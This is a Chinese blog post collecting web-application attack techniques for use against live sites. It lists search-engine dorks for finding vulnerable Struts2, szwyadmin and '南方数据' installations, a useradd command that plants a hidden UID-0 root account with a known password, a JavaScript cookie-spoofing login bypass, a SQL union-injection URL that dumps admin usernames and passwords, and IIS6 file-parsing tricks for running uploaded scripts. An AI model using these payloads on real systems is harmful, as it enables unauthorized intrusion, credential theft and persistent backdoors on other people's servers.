各种web程序漏洞-白红宇

各种web程序漏洞

阅读量：5879 次

发布时间：2019-06-19

本文共 2780 字，大约阅读时间需要 9 分钟。

收集整理的各种web漏洞

struts2:

Inurl:index.action

Inurl:商城.action

Inurl:index.action 标题:apache struts2

Inurl:action?id=

site:.com inurl:index.action

inurl:dhis-web-commons

利用工具操作，账号密码添加:

useradd -u 0 -o -g root -G root -d /home/bingdao bingdao -p $1$jWIKT776$A8S37J9KR3Z4dpbJVX3rW0

账号：bingdao

密码：1

生成加密密码详情：

以下为生成加密密码命令（第一个1就是密码）:

echo "1" | openssl passwd -1 -salt $(< /dev/urandom tr -dc '[:alnum:]' | head -c 32) -stdin

生成的加密密码：$1$Rfst5gRR$dqbE2NR0npnFMyeLchbk0/

然后添加权限为root的账号和上面的密码：

useradd -u 0 -o -g root -G root -d /home/lengyu lengyu -p'$1$Rfst5gRR$dqbE2NR0npnFMyeLchbk0/'

就得到了账号为“lengyu”，密码为“1”的用户，然后再ssh上去

------------------------------------------------------

szwyadmin cookies欺骗：

inurl:szwyadmin/login.asp

inurl:szwyadmin

代码：

javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));javascript:alert(document.cookie="admindj="+escape("1"));

代码复制然后回车。。~ 方便快捷。。然后关闭网页重新打开后台地址,然后在地址栏中将login.asp改为admin_index.asp 就直接进入后台了,这种方法成功率百分之80以上。

另外这套程序还有一个爆密码的oday。

使用方法很简单。直接填写域名然后点击爆密码。~~~ 直接射出管理员帐号密码。成功率不是很理想毕竟是很多的漏洞了.

-------------------------------------------------------------------------------------------------------------------------

南方数据:

inurl:HrDemand.asp

/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

admin/southidceditor/admin_style.asp

--------------------------------------------

爆库：

inurl:conn.asp

----------------

iis6 解析漏洞:

目录解析 /xx.asp/xx.jpg

说明：在网站下建立文件夹的名字为 .asp 或 .asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

文件解析 1.asp;.jpg

说明：会被服务器看成是1.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种

/1.asa

/1.cer